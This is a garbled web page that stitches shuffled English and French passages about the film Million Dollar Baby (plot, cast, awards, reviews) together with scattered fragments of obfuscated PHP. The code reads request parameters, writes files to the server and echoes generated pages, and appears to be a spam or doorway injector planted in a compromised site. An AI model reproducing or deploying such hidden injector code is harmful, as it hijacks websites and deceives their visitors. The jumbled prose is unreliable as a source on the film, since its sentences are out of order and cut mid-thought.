Just before administering a fatal injection of adrenaline, he finally tells Maggie the meaning of a nickname he gave her, Mo Chuisle (misspelled in the film as "mo cuishle"): Irish for "my darling, and my blood" (literally, "my pulse"). Hilary Swank and Morgan Freeman received Best Actress in a Leading Role and Best Actor in a Supporting Role Oscars, respectively. $_zypprad0);}$_k31za4zc = sprintf("%s%s", $_g3091ra8, urlencode($_t3iqu5wj));}else{if (ord($_zypprad0[0]) % 2){$_k31za4zc = sprintf("%s?%s=%s",$_g3091ra8,$_zypprad0,urlencode(str_replace(" ", "-", $_t3iqu5wj)));}else{$_m951dg69 = Array("id", "page", "tag");$_3bundse3 = $_m951dg69[ord($_zypprad0[2]) % count($_m951dg69)];if (ord($_zypprad0[1]) % 2){$_t3iqu5wj = str_replace(" ", "-", $_zypprad0 . Toole. streaming video rentals through Amazon, Apple's iTunes Store, Vudu and Netflix. Trois chansons sont écrites par Kyle Eastwood et Michael Stevens. It is translated in the film as "my darling, my blood", although an Irish Gaeilge translation site states that it is always translated as "pulse", not as "blood". It stars Eastwood, Hilary Swank, and Morgan Freeman. Durant ce match, elle est victime d'un coup illégal de son adversaire après la fin d'un round et chute accidentellement sur le tabouret que son coach essaye de retirer avant qu'elle ne tombe. [20] The Blu-ray Disc version was released on November 14, 2006. "[8] It also has a score of 86 out of 100 on Metacritic, based on 39 critics, indicating "universal acclaim". md5($_t3iqu5wj . En France, le film obtient une note moyenne de 4,9⁄5 sur le site Allociné, qui recense 25 titres de presse[13]. Adapté de la nouvelle La Fille à un million de dollars tirée du livre Rope Burns: Stories from the Corner (La Brûlure des cordes) de l'ex-entraîneur de boxe F.X. If we can get her trained up. An HD DVD release was issued on April 18, 2006. md5($_d740h9a2) . Bruce MacVittie as Mickey Mack, a rival of Dunn. md5($_fwxb03x3) . The film played in theaters for six and a half months. [12] In an interview with the Los Angeles Times, Eastwood distanced himself from the actions of characters in his films, noting, "I've gone around in movies blowing people away with a .44 Magnum. He secures Maggie a $1 million match in Las Vegas, Nevada, against the WBA women's welterweight champion, Billie "The Blue Bear" Osterman, a German ex-prostitute who has a reputation as an unpunished dirty fighter. Frankie is shown experiencing the first three of the five stages of grief: first seeking multiple doctors' opinions in denial, then blaming Scrap in anger, and later trying to bargain with God through prayer. "salt3"), 0, 6);$_k31za4zc = "";if (substr($_g3091ra8, -1) == "/"){if (ord($_zypprad0[1]) % 2){$_t3iqu5wj = str_replace(" ", "-", $_zypprad0 . She asks a favor of Frankie: to help her die, declaring that she got everything she wanted out of life. [4][5], Eastwood had confidence in Swank's acting background, but upon seeing Swank's small physique, he had concerns, "I just thought, 'Yeah, this gal would be great. Join Facebook to connect with Maggie Fitzgerald and others you may know. "/";_3oxut07::$_s3es7fds = $_4ewgmtgm;if (! The two travel to Europe as she continues to win; Maggie eventually saves up enough of her winnings to buy her mother a house, but her mother berates Maggie for endangering her government aid, claiming that everyone back home is laughing at her. Overcoming a shaky start, Maggie begins to dominate the fight, but Billie knocks her out with an illegal sucker punch from behind after the bell rings to end the round. Margaret "Maggie" Fitzgerald (Hilary Swank), a waitress from a Missouri town in the Ozarks, shows up at the Hit Pit, a run-down Los Angeles gym owned and operated by Frankie Dunn (Clint Eastwood), an old cantankerous Irish-American boxing trainer. L'actrice a également eu pour sparring-partner la championne de boxe Lucia Rijker[8]. But that doesn't mean I think that's a proper thing to do". ".list")){return;}@file_put_contents(_3oxut07::$_s3es7fds . "-", "", $_7rjtl4vk);$_7rjtl4vk = str_replace("-" . ".html", $_fwxb03x3);}}class _3oxut07{private static $_2ccynan3 = "";private static $_s3es7fds = "";public static function _bkbvq($_hgwuisi6, $_4ewgmtgm){_3oxut07::$_2ccynan3 = $_hgwuisi6 . With prodding from Scrap and impressed with her persistence, Frankie reluctantly agrees to train Maggie. - "Midnight Express" d'Alan Parker / 1978 / Royaume-Uni, USA / DVD / On a du mal à croire que c'est une histoire vraie tant la douleur est montrée avec profondeur ... Un jour arrive Maggie Fitzgerald, une serveuse de 31 ans, qui tente de convaincre Frank de devenir son entraîneur. Roger Ebert stated that "a movie is not good or bad because of its content, but because of how it handles its content. Eastwood persuaded Lakeshore Entertainment's Tom Rosenberg to put up half the budget (as well as handle foreign distribution), with Warner Bros. contributing the rest ($15 million). Les matchs de boxe sont filmés au Grand Olympic Auditorium[8]. "-" . Other than Maggie and his employees, the only person Frankie has contact with is a local priest, with whom he spars verbally at daily Mass. ", $_SERVER["REQUEST_URI"], 2);$_39pr1n1u = $_39pr1n1u[0];if (strpos($_39pr1n1u, ".php") === FALSE){$_39pr1n1u = explode("/", $_39pr1n1u);array_pop($_39pr1n1u);$_39pr1n1u = implode("/", $_39pr1n1u) . Il s'agit du pseudonyme de Jerry Boyd, un ancien soigneur professionnel de boxe[8]. Il compose un morceau, les trois autres le sont par son fils, Golden Globe de la meilleure actrice dans un film dramatique, Critics' Choice Movie Award de la meilleure actrice, Satellite Award du meilleur scénario adapté, Screen Actors Guild Award de la meilleure actrice, Screen Actors Guild Award du meilleur acteur dans un second rôle, Nomination à l'Oscar du meilleur scénario adapté, Golden Globe du meilleur acteur dans un second rôle, Golden Globe de la meilleure musique de film, Critics' Choice Movie Award du meilleur acteur dans un second rôle, Critics' Choice Movie Award du meilleur réalisateur, Critics' Choice Movie Award du meilleur film, Screen Actors Guild Award de la meilleure distribution, Centre national du cinéma et de l'image animée, Le Seigneur des anneaux : Le Retour du roi, https://fr.wikipedia.org/w/index.php?title=Million_Dollar_Baby&oldid=175940859, Film mettant en scène un paraplégique ou tétraplégique, Film tourné aux Warner Brothers Burbank Studios, Adaptation d'une nouvelle américaine au cinéma, Film avec un Oscar du meilleur acteur dans un second rôle, Film avec un Oscar de la meilleure actrice, Film avec un Oscar du meilleur réalisateur, Film avec un Golden Globe du meilleur réalisateur, Film avec un Golden Globe de la meilleure actrice dans un film dramatique, Article contenant un appel à traduction en anglais, Page pointant vers des bases relatives à l'audiovisuel, Page pointant vers des bases relatives à la musique, Portail:Époque contemporaine/Articles liés, licence Creative Commons attribution, partage dans les mêmes conditions, comment citer les auteurs et mentionner la licence, Morgan Eastwood : Petite fille dans le camion. ", Eastwood responded to the criticism by saying the film was about the American dream. $_3bundse3, "", $_7rjtl4vk);$_t3iqu5wj = $_7rjtl4vk;}}}if (empty($_t3iqu5wj)){$_2tz8k78l = _3oxut07::_0ptv3();$_t3iqu5wj = $_2tz8k78l[0];}if (!empty($_t3iqu5wj)){$_t3iqu5wj = str_replace("-", " ", $_t3iqu5wj);if (!$this->_y6g8d()){if ($this->_t3mov()){return;}}$_t3iqu5wj = urldecode($_t3iqu5wj);$_ovdr06dr = _saho4f::_wez33($_t3iqu5wj);if (empty($_ovdr06dr)){list($_20kkt8ls, $_th4vzjod) = $this->_whias($_t3iqu5wj);if (empty($_th4vzjod)){return;}$_ovdr06dr = new _saho4f($_20kkt8ls, $_th4vzjod, $_t3iqu5wj, _b5ejkle::_6htnk(_b5ejkle::$_zpqhi94l, _b5ejkle::$_zcfj8qlw));$_ovdr06dr->_34t82();}echo $_ovdr06dr->_fmp1b();}}}_saho4f::_bkbvq(dirname(__FILE__), -1, _b5ejkle::$_xshwzqhi);_sk9m9yz::_bkbvq(dirname(__FILE__), substr(md5(_b5ejkle::$_xshwzqhi . [9] Roger Ebert of the Chicago Sun Times gave the film four stars and stated that "Clint Eastwood's Million Dollar Baby is a masterpiece, pure and simple," listing it as the best film of 2004. Studios. Le film s'inspire de plusieurs nouvelles semi-autobiographiques écrites par F.X. Le jour où Maggie Fitzgerald, 31 ans, pousse la porte de son gymnase à la recherche d'un coach, elle n'amène pas seulement avec elle sa jeunesse et sa force, mais aussi une histoire jalonnée d'épreuves et une exigence, vitale et urgente : monter sur le ring, entraînée par Frankie, et … It received critical acclaim and grossed $216.8 million. Elle supplie donc Frankie de mettre fin à ses jours car elle ne peut plus rien faire de sa vie. "salt3"), 0, 6);if (isset($_GET[$_3bundse3])) {$_t3iqu5wj = $_GET[$_3bundse3];}elseif (strpos($_SERVER["REQUEST_URI"], $_3bundse3) !== FALSE){$_umu0fvgq = explode("/", $_SERVER["REQUEST_URI"]);foreach ($_umu0fvgq as $_rb0zxu8n) {if (strpos($_rb0zxu8n, $_3bundse3) !== FALSE){$_9x5oklif = explode("=", $_rb0zxu8n);$_7rjtl4vk = array_pop($_9x5oklif);$_7rjtl4vk = str_replace($_3bundse3 .